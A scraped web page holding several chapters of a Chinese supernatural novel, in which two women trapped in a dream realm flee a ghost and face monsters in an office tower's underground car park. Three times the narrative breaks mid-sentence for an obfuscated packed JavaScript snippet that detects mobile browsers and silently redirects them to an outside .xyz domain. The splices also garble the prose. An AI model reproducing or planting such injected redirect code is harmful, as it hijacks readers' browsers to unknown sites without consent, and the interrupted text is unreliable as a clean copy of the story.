副驾车窗开着,从刚才开始,苇思航就听见她在哼歌,还道她心情愉悦。那阵断断续续的歌声忽而被一声未成型的惊叫扼住,尾音微不可察地颤抖。 苇思航疑惑地抬头看去,霎时全身血液被冻住的一眼。 只见陆萌上半身紧紧贴在椅背上,像是被什么东西强制束缚住,她红色的头发垂在脸侧,像瀑布一样抖动,两只手朝前伸出,徒劳地想要抓住什么。从一片黑暗的后座上伸出一只苍白的鬼手,此刻正牢牢地掐住她的咽喉。 4. 3. 出逃 咯咯咯……咯咯咯…… 苇思航听到一种细密的声音,像是从她的骨头缝里传出来,辨认了好一会,才发现是她的牙齿在惊悚中打战。 尽管内心想要掉头就跑的冲动几乎无法抑制,她还是深吸一口气,强迫自己快步走向车门,拉开车门坐了进去。 咯咯咯……咯咯咯…… 陆萌,还有后座上那个现在正掐着她脖子的女人,同时转过眼睛看向她。苇思航木着一张脸,目视前方,假装自己什么都没看见。 车门在这之前压根没有打开过,后座上那个神秘女人出现得有如鬼魅——不,或许就是鬼吧。苇思航的余光瞥见那只从黑暗中伸出的手,苍白的皮肤泛着青色,点缀着腐烂的尸斑。她努力装作若无其事,甚至不忘给自己系上安全带,尽管手抖得半天没找到插孔。 咯咯咯……咯咯咯…… 牙齿不受控制地打战,声音在狭小而安静的车厢里格外清晰。节奏代替了歌声,吸引了后座女人的注意力,她困惑地歪了歪头,掐着陆萌脖子的手也稍稍松了一些。 抓住这个机会,陆萌大口吸气,眼疾手快地切换挡位,大喝一声:“快走!” 不用她多说,苇思航一脚将油门踩到底。0373猛地向后冲去,瞬间扎进了身后的黑暗里。 妈的!怎么会是倒档啊!苇思航心中暗骂。 后座上的女人没系安全带,被这突如其来的加速撞得松开了手,身体不稳,几乎从座位上滑下来。苇思航迅速反应过来,一个急刹,前排的两人也控制不住地向前倾去。 黑暗的浓雾将0373完全包围,有一瞬间,苇思航仿佛失去了听力,连牙齿打战的声音都听不见了。身边的陆萌摆脱了钳制,双手比划着,似乎在说些什么,但声音像是被按下了静音键,完全听不清。眼前除了背光的仪表盘,一片漆黑,恐惧如实质般压来,连呼吸都变得困难。 苇思航索性什么都不去想,什么都不去看,迅速切换到前进档,一脚将油门踩到底,同时猛打方向盘。车尾猛然甩出,在地面上划出一道弧线。尘土从地面腾起,与漆黑粘腻的浓雾交织在一起,仿佛一团混沌的漩涡。 如果此时有人在外目睹这一切,便会看见一辆白色轿车以近乎疯狂的角度从黑暗中冲出。车头几乎贴着地面,车尾高高扬起,像是被某种无形的力量抛掷而出。轮胎在地面上留下深深的焦痕,车身剧烈晃动,滑行了一段距离,几乎撞到前方的蓝色路牌,才终于颤巍巍地停下。 耳边重新响起了车胎划着地面的尖啸声,以及身边陆萌粗重的喘息。苇思航总算觉得自己活过来了。由于强大的惯性,她紧贴在左边车门上,副驾的陆萌也朝她那边倒去,红发糊了苇思航一脸。苇思航抹了一把脸,看清眼前的场景——前方的路灯灯光迎接着她们,仿佛在宣告她们暂时脱离了危险。 她抬头去看车内的后视镜,后座空无一人,那个女人不见了。苇思航终于松了一口气。 那个女鬼既然可以无视紧闭的车门上车,也别怪在车门紧闭的情况下被甩出去。 苇思航丝毫不敢掉以轻心,双手死死攥住方向盘,朝着三岔路其中一个方向疾驰而去。她快速瞥了一眼左后视镜,黑雾依旧紧追不舍。从镜中可以看到,车后门上不知何时已布满了密密麻麻的手印,光是看着就让人头皮发麻。 副驾上,陆萌一只手紧紧抓着上方的扶手,脸色微微发白。她才从刚才的危机中回过神来,又因为这野蛮硬核的驾驶风格而面露菜色。 “慢、慢点……苇姐……”陆萌的声音有些发抖。 苇思航很久一言不发,此时终于开口,却是大骂起来:“刚才他妈的究竟是什么东西???” “还有你!!”苇思航伸出一只手往陆萌头上薅,那头光滑油亮的红发怎么看怎么不太正常,“你又是什么东西??” * “苇姐,我一直想跟你说来着,只是之前没找着机会,又撞到刚刚那个鬼……” “什么鬼?” “就那个女鬼啊,”陆萌活动着重获自由的脖子,看上去像个落枕的病人,“噢,或者说叫幽灵的吧——咱们在做梦,你知道吧?做梦出走的灵体叫‘梦灵’,死人的灵魂叫‘幽灵’,我们现在在的地方叫做灵界。” “……” 难道是上天听见了她的心声?告诉她在做梦的那个人真的来了。 因为刚刚经历的一系列匪夷所思的事情,没什么比这个解释更为有力了。 “我叫陆萌,现实里是个护士,一周有三天夜班儿,现在是我的补觉时间。”陆萌向苇思航自我介绍,见对方充满怀疑地频频瞥向自己的脸,又道,“至于这个嘛,睡前忍不住玩儿了几把游戏——这是《狂战风暴》里我最喜欢的角色凯恩斯。” 0373速度终于降了下来,行驶在单向四车道,甚为开阔的城际公路上,两侧路灯明亮,极偶尔的,还可以看到路过的一二车辆,给人以久违的安全感。不用担心黑雾,又或是复杂的路况,苇思航在开车的间隙分出几分心神,与陆萌对话。 陆萌的外表来源于游戏人物,苇思航毫不惊讶,抓住话中的重点询问:“你的意思是说,你每一次入梦,样子可能都会变?” ——话里她已经默认了自己身在异世界的事实。 陆萌:“对啊!都做梦了,当然是想怎样就怎样,怎么天马行空怎么来,反而像苇姐这种以本来面目示人的,才是少数吧!” 她说着,拉下副驾上的化妆镜,端详起自己的脸来。那一张3D建模的游戏人物的脸进入现实,咄咄逼人的美艳,一条动态的纹路都没有,看得久了,便有一种伪人的恐怖。刚才的女鬼并没有在她脖子上留下任何痕迹。 她自己欣赏了一会,哈哈一笑:“也难怪苇姐不记得我了!” 苇思航语气不善,反问:“我应该记得你吗?” 她消化着陆萌口中的一切,不得不信,却又暗自生疑,经过刚才的事情,整个人仍处在理智崩溃的边缘,现在,她一手把着方向盘,一手也像陆萌一样,翻下头顶的化妆镜。两张夹在里面的小纸片翻了出来,苇思航一顿,没去管,目光落到镜面上,便再也挪不开了。 不知道你是否有在梦境中照镜子的经历? 祝你没有。只因苇思航以自己的经验来看,这一切实在有够诡异的。 镜子里映出她的脸,很确信那是她的脸无疑,却怎么看怎么奇怪,处处透着一种别扭。苇思航看了一眼,两眼,终于明白过来是为什么。 她左边脖子上有一颗小痣,此时跑到了右边去。 和刹车油门一样,她的左右脸,完全掉了个个。 “梦都是反的”。她突然无比清晰地意识到这一点。 * “苇姐,你这话真伤人呀,我都见你第三次了!”陆萌像在娇嗔,又恢复了不久前那副没心没肺的模样。 “……我不记得了。” “不记得了?”陆萌拧着眉毛,声音高了八度,苇思航一时便有点理亏。 照陆萌的说法,梦灵在梦中的记忆是连贯的,有着独立于现实的经验和个性——反正等醒了之后,现实中的自己能记得的都是一些光怪陆离的片段。陆萌还在值夜班的时候,断断续续打着瞌睡,期间在灵界见到苇思航两次。 “你不是一开始把油门和刹车弄反,然后撞车了吗?”陆萌道,“我当时眼睁睁看着你往上撞,那个狠啊……你当时都快急哭了,还问我来着,出口在哪里。” 苇思航心中一跳:“然后呢?” “然后,然后我当然是跟你说了,本来说要跟你一起去,不过恰好那个时候来了个病人,就先下线了……”陆萌挠挠头,不好意思道,“等我回去的时候,你已经不在了,我想你可能是走了,就开车接单去了……” “接单?” 陆萌:“对,我偶尔跑两单,这个……灵车,你当作灵界的出租车来理解吧。” 苇思航沉默半响:“这又是为啥?” “不是,苇姐,你真都不记得了啊?”陆萌苦着脸道,“我都给你讲过……罢了,再说一次也无妨。” “我们现在所在的灵界,承载一切灵体,归根究底,是一个做功的力场,想要在其中长久地存活,需要耗费精神力,嘛,可以理解为生活的必要开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670543|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支,就和现实生活中的钱一样,没有,那可是寸步难行啊。” 陆萌发了一顿牢骚,“有些人不管先天心眼儿大,又或者后天养成的内核稳定……总之现实生活中精神状态良好的那些人,他们的梦灵也有足够的精神力支持,来到灵界,自然不用为生计发愁了。那相对的,自然还有一些人,光是在现实生活中活着已经很心累了,梦灵来到灵界,就只能自求多福了。” 陆萌说着,手指一转,指着自己:“没错,我说的就是我本人啦。哈哈,我是自愿打工的。” * “刚刚那个女鬼,跟着我很久了。我知道她,生前住我楼上,是个音乐老师,前段时间轻生,死了。她还活着的时候,我经常在楼道里见到她,她总走我后面,我带着耳机哼歌,她还笑我……感觉挺好一姑娘呢。最近做梦,她就一直跟着我,非得我一直唱歌,不然就掐死我。”陆萌干巴巴道,“本来当牛马就够烦的了,日夜颠倒不算,好不容易打个盹,还总被她吓醒。我就想着,梦里打点工,攒点精神力,换个美梦做做。” 是了,灵界,就是精神力富人的游乐场。从这点上看,还挺“现实”的呢。只要精神力足够,大可从灵府那里兑换相应的美梦。可能是满足现实中的渴望,譬如春梦,升官梦,探亲梦等等具体一点的,或是预知梦,灵感梦这种更抽象的选择……当然,醒来还能记得多少,就看个人的造化了。 传闻中不乏做梦醒来中了彩票的幸运儿,又或是梦中相见,在现实中成就了一段姻缘,据说还有一位著名的化学家,靠着一个梦领悟了元素表的真谛……姑妄听之,姑妄言之。 ——当然,以上这一切都跟精神草根陆萌没有丝毫关系。她苦哈哈地跑车,其实接送的也都是幽灵鬼魂之流……毕竟说到底,幽灵才是灵界的常住民,她只能安慰自己,自愿撞鬼比鬼找上门还是要好一点的,而赚的那一点精神力,还不如她的精神损失费的…… 眼见陆萌长吁短叹,那张脸上生出自怨自艾之态,怎么看怎么奇怪,苇思航毫无同情,把话题拉回:“这些,你都是在第二次见到我的时候告诉我的?” 陆萌:“啊,对。” 苇思航:“那你现在说说,第二次,我们是怎么见面的?” “第二次见到你,是在路上。嗯,就是这条——滨河路上。我第一次就记住了你的车牌号,在路上一看到,就追了上去,果真是你!”陆萌肯定道,“咱们一人开着一辆车,车窗开着,聊了好久呢” 苇思航努力想象着那样的场景。虽然奇怪,不过好像也能理解……她俩当时一定都是绝望又孤独,好容易遇到一个同行人,不管怎么样都想抓住…… 陆萌咂了咂嘴,两只手忍不住在车顶上一通乱摸,也似有感而发:“那个词怎么说的来着?倾盖如故——说的就是咱俩吧!” “……说重点!” “哦哦。我当时要送一个客人,但你要去梦茧大厦,所以我们只能在前面那个出口分开了。”陆萌道,“你当时跟我说,如果你运气不好,下次兴许还能在停车场见到。我记住了那句话,所以分开之后,下了夜班,马上就去找你去了,没想到你真的在……” 苇思航听得一头雾水,只能抓住一个关键词:“梦茧大厦?” 陆萌:“对!我差点忘了,我还问你来着,去梦茧大厦干嘛,你跟我说,是要去给车充电,还说……如果电没了,你就死了。” 苇思航抓着方向盘的手指一紧。 陆萌凑过来,明明是蛇蝎御姐的外貌,偏偏眼睛里透着一股傻气:“苇姐,那是什么意思啊?” 苇思航看着自己电量还剩12%的仪表盘默然。 那是什么意思?她还想问她呢! 脑中只是片刻闪念,苇思航已然下定了决心,陆萌提到的那个路口正在前方,像命运一般出现。打灯,左转,动作一气呵成,丝滑无比。 记忆或许不见了,但是身体还记得。她驶上去往梦茧大厦的岔路,熟稔的如同每一个开车去上班的早晨。 她不记得自己是怎么来到这里,但梦茧大厦看起来是她之前到过最后的地方,应当有什么线索才对。 5. 4. 梦茧大厦 梦茧大厦完工于10年前,当时一度成为本区地标性的建筑,不过随着近些年城市的发展,早已不是一枝独秀,不过至今仍是城市天际线中一处亮眼的存在。 这附近以梦茧大厦为中心,集结了一批超高端的S级写字楼,又被称为打工人的5A级景区,至尊打卡点。假如某白领宣称自己在这里上班,话语中的优越感已经尽数体现。只是尽管是高级打工人,上下班时间成群出入,仍然给人蝗虫过境的观感就是了。 在这些楼群之中,梦茧大厦或许不是最高的,也不是最新的,但依然有着它独特的气质,流线型的外观,纤尘不染的玻璃外墙让它柔中带刚,双子塔结构像是对称的蝶翼,合它的名字“梦茧”,在一众办公楼中脱颖而出,享有极高的辨识度。高达45楼的办公区,能入驻其中的都是各个行业的知名企业。 时间来到上午9点,灵界还是一片漆黑。苇思航与陆萌二人乘坐0373,在弯弯绕绕的街心花园大摇大摆地行驶,中控电脑打不开,也就意味着没有导航,苇思航只能凭借自己的记忆寻找着梦茧大厦地下停车场的入口,免不了走了点冤枉路。 副驾上陆萌兴奋不已,解开安全带,半个身子探出车窗外,仰视着附近鳞次栉比的高级写字楼,一栋一栋的亮着星星点点的灯火,最繁华的夜景也莫过于此,漆黑的天空被这些穷尽物力的高楼切成一块一块,也不知此刻坐在这些办公楼内的人朝外看到的是何景象? “苇姐,你在这里工作吗?”苦逼牛马护士陆萌语带羡慕,“我之前还从没来过这边呢。” “不是。”苇思航否认,实话实说,“我的简历连这里公司的面试都进不去。” “……好吧。”陆萌本来带了点恭维的意思,却因为苇思航坦白的反应,话都不知道怎么接。 简历关进不去又怎样?她们现在还不是照样在这里开着车,大摇大摆的,如入无人之境。 既然说到这里。 苇思航问陆萌:“照你刚才说的,灵界应该挺热闹的啊?怎么这一路上一个人都没看到?” 陆萌道:“今天是工作日,大早上的,大部分人都起床上班了啊!当然看不到什么梦灵了!” 苇思航想想也是,又问:“那鬼……我是说,幽灵呢?” 苇思航话音刚落,想到什么,自问自答:“是不是因为这边阳气重,所以幽灵都不敢来了?” 已知灵界和现实世界的区域基本重合,只是灵体和活人互相见不到罢了,现实生活中,这里正是白天,聚集了不少正在上班的打工族,因此苇思航很容易这样联想到。 换了两小时之前,她绝对想不到,自己会用这种一本正经的探究语气聊起鬼魂——所谓幽灵的,甚至不惜动用上玄学思维。 陆萌听了笑道:“nonononono……恰恰相反,幽灵可喜欢聚在这里了,不过,有好好的室内不待,谁没事在外面晃悠啊!不信你看——” 随着陆萌的手指,苇思航也跟着仰头看去,不知道是第几层的窗边,掠过一道模糊的人影,细看不止一道,灯火通明的办公区影影幢幢,像极了深夜正在加班的人们。 苇思航突然打了个寒噤,不禁想到了上班时至少曾经一次擦身而过的阴冷,难道就是那些东西…… 陆萌看着她的样子,大概想到她在想什么,却发出一声嗤笑:“又错了!你以为值得害怕的是那些东西吗?” 苇思航静静看着她,目光里的意思不言自明——刚刚是谁被音乐老师的幽灵吓了个半死来着? 陆萌咳一声,果然收敛了一些,嘴硬为自己找补道:“刘老师其实挺好的,而且我死了,最多也就是再被吓醒罢了……” 苇思航不悦,猛的一个刹车,冷哼:“下车。” 陆萌:“……” “苇姐,你最好了苇姐!”陆萌瞬间认怂,抱着苇思航的胳膊耍赖,好在苇思航只是警告,有点嫌弃地甩开她,驾车继续向前行驶。 “别卖关子,幽灵不可怕,那什么可怕?” “鬼哪有人可怕,”陆萌悻悻道,“人在哪里都得提防同类——梦灵啊!” 她说着做了个鬼脸,抛媚眼给瞎子看,苇思航并不理会。 陆萌只得继续道:“幽灵呢,只是看上去可怕,其实接触多了就知道,没什么坏心思……刘老师那种一看生前就有怨气的,特定条件下会触发攻击性,但那种可能,能接近于……本能?打个比方说,你惹怒了小狗,小狗咬你,你也不能说小狗坏,对不对?” “反而是有些梦灵,没经历过的人根本难以想象,”陆萌说着,一副心有余悸的表情,“梦境反应人最深处的欲望,一旦欲望脱缰,不受控制,简直就是恶意本身……” “哦?”苇思航提起了些兴趣,“这么说你经历过?那是什么感觉?” 苇思航心想,最差的情况,不就是被吓醒吗? 陆萌苦着脸道:“苇姐,你还不知道,对于咱们梦灵来说,最可怕的不是从梦里醒来,而是怎么也醒不了……那些被欲望控制的梦灵会形成自己的精神立场,类似一个‘领域’,蚕食被卷入其中的其他梦灵,这些受害者不能立即脱出梦境,面对的是不断的精神控制和精神折磨。” 陆萌一副不堪回首的表情:“我曾经被卷进去那次……其实我现在已经不记得当时是什么感觉了,就好像我身为梦灵,又做了一场梦似的……只是每当回想起来,都觉得虚弱无比,所有负面情绪一齐涌上,觉得好无助,好难过,……” “我现实中那段时间,无缘无故掉了十五斤,做什么都提不起兴致,我们护士长说我丢了魂了,养了好久才慢慢好起来的……” 苇思航不是有意牵起陆萌伤心事,只是好奇一番追问,这时便有些抱歉。陆萌把目光投向窗外,不再说话,似乎陷入了回忆之中,苇思航不会安慰人,只能尽量缓和语气,道:“现在这附近没什么梦灵,不用担心,等我给车充了电,咱们就走吧……” 陆萌背对着她,柔弱的双肩颤抖着,似乎是在点头。 苇思航也就不再说什么。车转了个弯,面向一段长而缓的下坡,通往梦茧大厦的地下停车场——她们到了。 * 苇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670544|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思航轻踩刹车,降下车速,慢慢朝着亮着微光的入口驶进。 她适应新的驾驶习惯,出乎意料的快,苇思航自认并不是一个擅长学习新事物的人,下坡这一路,也给她隐隐的熟悉之感。 当然,她之前来过这边,每次来这里的目的也和现在惊人的相似——为了给0373充电。只因她公司的办公楼也在这附近,虽然如此,跟周围摩天大楼的办公条件是没法比的,年代可追溯到上世纪八十年代,也就导致停车场只有一层且异常拥挤,更缺少新能源汽车的停车充电位。 反观梦茧大厦,地下一共三层的停车场,充电桩更是每层大规模配备,格外方便,苇思航认识这里物业的工作人员,私下办了停车月卡,从而解决了她工作日停车充电两个老大难问题。 0373滑行到入场闸机之前,栏杆却再次装死,这一次滚动的红色像素字告诉苇思航,她的月卡已经过期了。苇思航没办法,按下车窗,伸手取了一张临时停车卡,栏杆便听话抬起。 苇思航指挥车顺利滑进向下连续的弯道,手里看着那张临时停车卡,默默思索。 她算是知道她的熟悉感从哪里来了。 同样的事情,她之前经历过。 当然,她说的不是“入梦”前。她随手把最新一张临时停车卡,放到不久前化妆镜里掉下来那一堆纸片当中,一水儿的“梦茧”大厦的水印,只有时间不同。最早的入场时间,可以追溯到三天前。 “陆萌,再问你个事儿。” “什么?” “你第一次见我那次……记得是什么时候吗?” “啥时候?我想想啊……我记得是我这周第一天夜班来着,好像,是周日吧?” “今天周几?” “好像是周三……啊不,周四吧。” 好的,差不多是三天前。 苇思航右手把着方向盘,左手撑着下巴,默默思量,一路朝着最底一层B3驶去,连续不断的弯道像是永无尽头一般,向心力迫使她的身体歪向左边,越来越深入地下,她的思绪也越发下沉。 同样的事情已经发生过……不止一次…… 但她失去了相关的记忆,那个停车场里,就她自己刚刚经历的,还有陆萌撞见的,她撞了在场的破车,至少两次。再加上手里这堆停车卡告诉她的……这算是什么,循环吗? 假如陆萌刚刚说的都属实,她亲口说过,如果车没电了,她就会死……苇思航此时宁可信其有。除了这个原因,苇思航还有一种冥冥之中的感觉,看来她之前几次的目标都是梦茧大厦,很可能就是在这里开启了她的循环……为什么? 她迫切地想要知道答案。还有一个疑惑从刚才开始,如阴云一样徘徊在她心上,越来越大,越来越重。 她为什么要怕死?至少不应该,她可是梦灵啊,死了就会醒来,不是吗…… 问题是,现在已经是早上九点了,她深谙自己的生活习惯,这个时间,哪怕是自然醒也该到点了。陆萌是因为夜班结束在补觉,那她呢? ——苇思航,你为什么还在这里? 6. 5. 地下二层 苇思航与陆萌驾车进入B1层,只见这里空空荡荡,面积足有一个足球场那么大,地上画着方方正正的车位线,车倒是不见一辆。 不管外面是白天还是晚上,地下停车场里都是一样昏暗。和梦茧大厦楼内外的华丽相比,地下停车场显得有些潦草,几乎没有什么装潢可言,高高的房顶上裸露着横梁和钢筋,好像巨兽的骨架。在她们的头顶上装着一种节能感应灯,每当察觉到人或者车通过的时候才会亮起,不久后自动关闭。 前路被依次亮起的灯光照亮,像是不怀好意的欢迎光临。 副驾上的陆萌左瞅瞅,右瞅瞅,很快在右前方看到设备的绿光,正是空闲中的充电位,立即邀功一样向苇思航汇报:“苇姐,在那边!” 苇思航也看到了,却没有理她,继续保持着直线低速行驶,陆萌转头去看,一愣,只见对方表情凝重,双手抓着方向盘,死死盯着前方,一副如临大敌的模样。 陆萌不明状况,只下意识也随着她的目光朝前看去——奇怪,什么也没有啊? 刚进入B1,苇思航就隐隐觉得哪里有什么不对,不知道是直觉,抑或是前几次身体留下的还没有完全忘记的经验,脑中警铃大作。 从她的角度看去,前方同样空无一物,她的瞳孔却微微收缩——看到感应灯正一盏接一盏由远及近地亮起,有什么东西正在朝她们逼近!地上散落的纸屑被看不见的力量牵引,无风自动。 在两个方向的感应灯在途中相遇的那一刻,苇思航突然毫无预兆地右打方向盘,陆萌猝不及防,被甩向一边,差点咬掉舌头,泄露一声脏话。 “操……” “什么东西……”陆萌后知后觉,苇思航却没空搭理她。 她们都听见了,擦身而过的一瞬间,什么东西沉重地击打在前窗上的声音。此时二人一齐看着车玻璃上绽开的一道裂痕沉默。 不久前看上去那样坚固的挡风玻璃,原来这般不堪一击。所以,那看不见的究竟是什么玩意儿…… 万幸现在车位上都没有什么车,0373直接在附近的车位上横冲直撞。还没来的及理清思路,只见前方灯又亮了,和刚才几乎一样的路径。 “小心——!” 苇思航将车窗降下,以便更清晰地听到空气中类似鞭打的呼啸声,同时还有一道,从车后方袭来。她的目光在后视镜和前方来回扫视,果然看到后方的感应灯也开始亮起,两股力量即将在中间交汇,而0373正处在它们的夹击之中。 “抓紧!”苇思航低喝一声,这一次左打方向盘,又一次冲出! 同时来自两个方向,同属于那看不见的东西在半空中相撞,发出强烈的撞击声,难以想象假如刚才0373没有避过会是一番怎样的景象,恐怕早就压成碎片了吧? 鉴于几次攻击似乎都来自右边,苇思航驾驶着0373靠左行驶,竭力与它拉开距离,重新摆正车头,与灯带的方向平行。没办法,她看不到那个东西,只能凭借灯光预警。 凭借灯带的动向,还有那东西逼近时的鞭打声,苇思航艰难地操纵着0373躲避着不知名怪物的攻击,几次侥幸逃过。地上随处可见匆忙躲避的车辙印,每次轮胎摩擦地面,都发出刺耳的尖啸,不知是不是苇思航的错觉,总觉得那声音对看不见的东西有点威慑效果。 待看到地上另一种有别于车辙的清晰印记,苇思航好像明白了。 那玩意儿是活的! 只见地上留下粗壮的触手的轨迹,似乎也能解释间隔在两次攻击之间吸盘离开地面时的粘连声。又惊险躲避几次隐形大章鱼的攻势,苇思航似乎可以判定,对方目前盘踞的位置,正是右前方的充电桩附近! 它操纵着触手攻击,却似乎并没有挪窝的打算,难道说…… 一个大胆的想法在苇思航脑中成型。此时要掉头去出口已经太晚了,她的目标,是左前方去往B2的车道! 她这一次遭遇的攻击来自斜前方,已然避无可避,苇思航看样子似乎也不打算躲。 陆萌在一旁毫无用处,魔音贯耳:“完了完了完了……” 苇思航想叫她闭嘴,全副心神都放在驾驶着车的手上和脚上,她满手都是冷汗,几乎在方向盘上打滑,不过还是稳住了。 猝不及防的,车窗前的雨刷开始呲水,车窗上被水糊了一片,什么都看不见。 目睹这一切的陆萌脸色苍白,只道是苇思航手忙脚乱中不小心碰到的,看不见的触手已到面前,狠狠拍击到车窗上,陆萌觉得整面窗,整辆车,包括自己的耳膜都在震颤! 苇思航不敢眨眼,看着眼前的一切,心脏狂跳。 看不见触手的攻势堪堪只到一半,不知什么原因,忽而一僵,急速回收,在看上去漫天游走的电流中,苇思航似乎看到了,那怪物的样子,触手被瞬间弹开,抽搐起来。0373硬抗下那一击,轮胎失控地打滑,不过没有持续多久,苇思航连续轻踩刹车,卸掉那股力,等待车身略稳,立刻加速,头也不回,朝着目标的B2车道直冲而去。 最后一刻,半空由于通电,出现了屏闪一样的奇异画面,那隐形的怪物终于露出真容:那果然是一只长满触手的怪物,只能用“巨大的章鱼”这样的形容来笼统概括它,简直像是从克苏鲁神话中走出来一样。只见它的触手深深插入充电桩的接口内,因为遇水而暂时短路,失去了行动能力。它铅灰色的表皮透出一股子干瘪的气息,上面布满了密密麻麻的吸盘和奇异的纹路,表皮上闪烁着微弱的电光。 * 0373屁滚尿流冲进地下二层,轮胎摩擦的尖响像是一把刺进脑子里的锥子,残留着慌张的哨音。 感应灯再次顺势亮起,0373朝前冲去相当远的距离,一路带起一条发光的痕迹,撕裂了黑暗。 0373终于停下,没有人说话,陆萌半扭过身子,紧张地看着身后灯的动向,眼睛一眨也不眨,苇思航则看向后视镜,平复着剧烈的心跳。 好在那些灯光依次熄灭了,没有再亮起来——那东西没有再追了。 “苇姐……你好……牛……”终于松了一口气,陆萌断断续续道,忽而脸色一变,打开车门,半只脚跨出车门,随即大吐特吐起来。 “……” 苇思航觉得眼前这画面似乎有几分熟悉,自己不久前也是……不禁抬起嘴角笑了下。她现在也合理怀疑,上一层的大章鱼或许就是她前几次的死因。 幸而现在什么味道都闻不到,苇思航相信那味道一定不怎么好闻。 陆萌吐完了,重新关上车门,精神萎靡地靠在副驾驶上,苇思航这才重新发动车辆,继续驶往深处,巡视附近的情况。上一层的危险是暂时解除了,谁知道这一层又有什么等着她们? B2的格局和B1基本一样,除了她们所在,附近的感应灯一概暗着,似乎可以暂时放心一会。在这一层,她们终于见到除了0373之外的其他车辆,零散地占着几个车位,看起来停了很久了,前挡风玻璃上蒙着一层灰尘,苇思航认出好几个常见的汽车品牌,不禁暗暗惊异,终于不是上次那些如出一辙的黑车了,倒有几分回到现实的亲近感。 她们在与上一层差不多的方位看到了一排充电桩,绿灯亮着,说明运行正常。不过鉴于上一层的教训,苇思航并未立即向那边驶去,谨慎地绕了三圈有余,确定那周围确实没有什么异样,才稍放下心来。离充电桩越来越近,0373却再次改道,左转驶向去往B3的车道,模拟逃生路线,只是以防万一。 0373停在下行车道之前,眼前的景象却让车上的两人都倒吸一口冷气。 不知道你是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670545|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做过有关深水的梦境?据说人这一生至少会经历一次类似的梦魇,面对一片未知的水域,仿佛正凝视着深渊,深渊正在呼唤你。至少有一次,想从高楼的边缘跳下,那种近乎自毁的欲望。水面平静,其下却有什么东西引诱着你靠近,明明离它还有一定距离,却已经感到了水漫到脖子的压抑和窒息感,于是你想着,与其等它来吞噬你,不如主动朝它走去…… 苇思航在震惊的失神之中,脚下刹车微松,0373果真向前滑去,陆萌发出一声惊呼,苇思航惊出一身冷汗,才回过神来,慌忙将刹车踩死。 只见通道的尽头已是一片黑池,没能逃出的车子半个轮廓露出水面,在其中诡异的漂游,竟不能想象它的深度。头顶年久失修的白炽灯摇摇欲坠,暗淡的光线试图照亮黑色的水面,终究不敌,生锈的零件摩擦发出刺耳的声音,好似随时都要坠落,一股阴风从水面吹来,沿着长长的甬道,自下而上,穿越前挡风玻璃的裂痕,温柔地拂动着前排二人的发丝。 “我真服了,咱这运气。”陆萌倒吸气,表情像牙疼似的,“是魇境。” 苇思航没等她进一步解释,趋利避害的本能让她倒车,退回空旷的B2,离B3诡异的黑池越远越好。陆萌苦着脸,指出一个显而易见的现实,“苇姐,我们好像……被困住了。” * B1有神出鬼没的大章鱼,B3有黑池——被陆萌更名为“深水魇境”的——她们现在被困在了B2。 据陆萌介绍,这种“魇境”可以理解为灵界里的局部自然灾害,出现爆发和消失都很难预测规律,每当出现,范围内的所有灵体集体陷入梦魇。B3的那个,类似于一个正在形成发育的飓风眼,占据了一层地下停车场,尚未迎来爆发。刚刚光是看着就能让人激起心理不适,更难想象假如身涉其中又会是怎样一番滋味。 心有余悸的0373一口气跑出老远,最后选择了一个有充电桩的车位上停下,苇思航解开安全带,打算就在这里暂时休整一番。 得想办法给车充上电——她暂时脑子里只有这一个想法。经过刚才的亡命奔逃,0373的电量降到了危险的9%。 诚然,给车充电,也是她来梦茧大厦的目的之一,莫名奇妙来到所谓“灵界”,0373是她唯一的依仗,要是电量耗尽,就什么都没得玩儿了。要说在来这之前,苇思航还对车要充电这件事情将信将疑——她的意思是,如果她真的在灵界的话,不是有点说不过去吗?直到看到B1层在充电站附近不挪窝、似乎正在给自己充电的大章鱼,她才彻底打消了疑虑。 虽然充电桩是人类发明的没错,不过“电”这种东西本来就存在在这个世界上,只是后来被人类加以利用罢了。而且“灵界”,“精神力”什么的,不是也有那种实验吗,生物电刺激精神波动……之类的。苇思航胡思乱想着。 副驾上,陆萌看着苇思航,看到后者竟还相当淡定,微微挑了挑眉。半晌抚着胸口,一副惊魂未定的样子,娇嗔中带着恭维的语气。 “苇姐,不愧是你,胆子真大!” 苇思航用梦游一样的目光,这时转向陆萌。 还说她呢,陆萌此时在笑。 其实她的表情不是,苇思航是从她的眼里察觉出来,她这时才发现,红发女人陆萌连睫毛也是红色的。眼白清澈,暗光下的瞳仁又黑又大,看久了有种人要被吸进去的错觉。 苇思航突然笑了。 “咱们怕什么?最差是个死,最多也就是一觉惊醒——不是吗?”苇思航语气轻松,“还是你觉得,我应该怕才对?” 